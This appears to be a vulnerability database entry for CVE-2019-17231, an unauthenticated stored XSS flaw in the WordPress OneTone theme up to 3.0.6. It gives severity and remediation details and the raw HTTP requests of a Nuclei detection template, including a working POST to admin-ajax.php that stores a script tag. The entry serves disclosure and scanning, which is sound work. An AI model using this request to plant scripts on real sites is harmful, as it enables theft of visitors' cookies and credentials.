| Title | WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors. |
| Remediation | Update the OneTone theme to version 3.0.7 or later, or switch to a different theme. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00296 |
| CVE ID | CVE-2019-17231 |
| Tags | cve cve2019 wordpress wp-theme wp onetone xss intrusive vkev vuln |
includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=onetone_options_import&options={"top_bar_info_content":"<script>console.log(3241522014143)</script>","display_top_bar":"yes"}
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17231.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17231.pcap
N/AN/A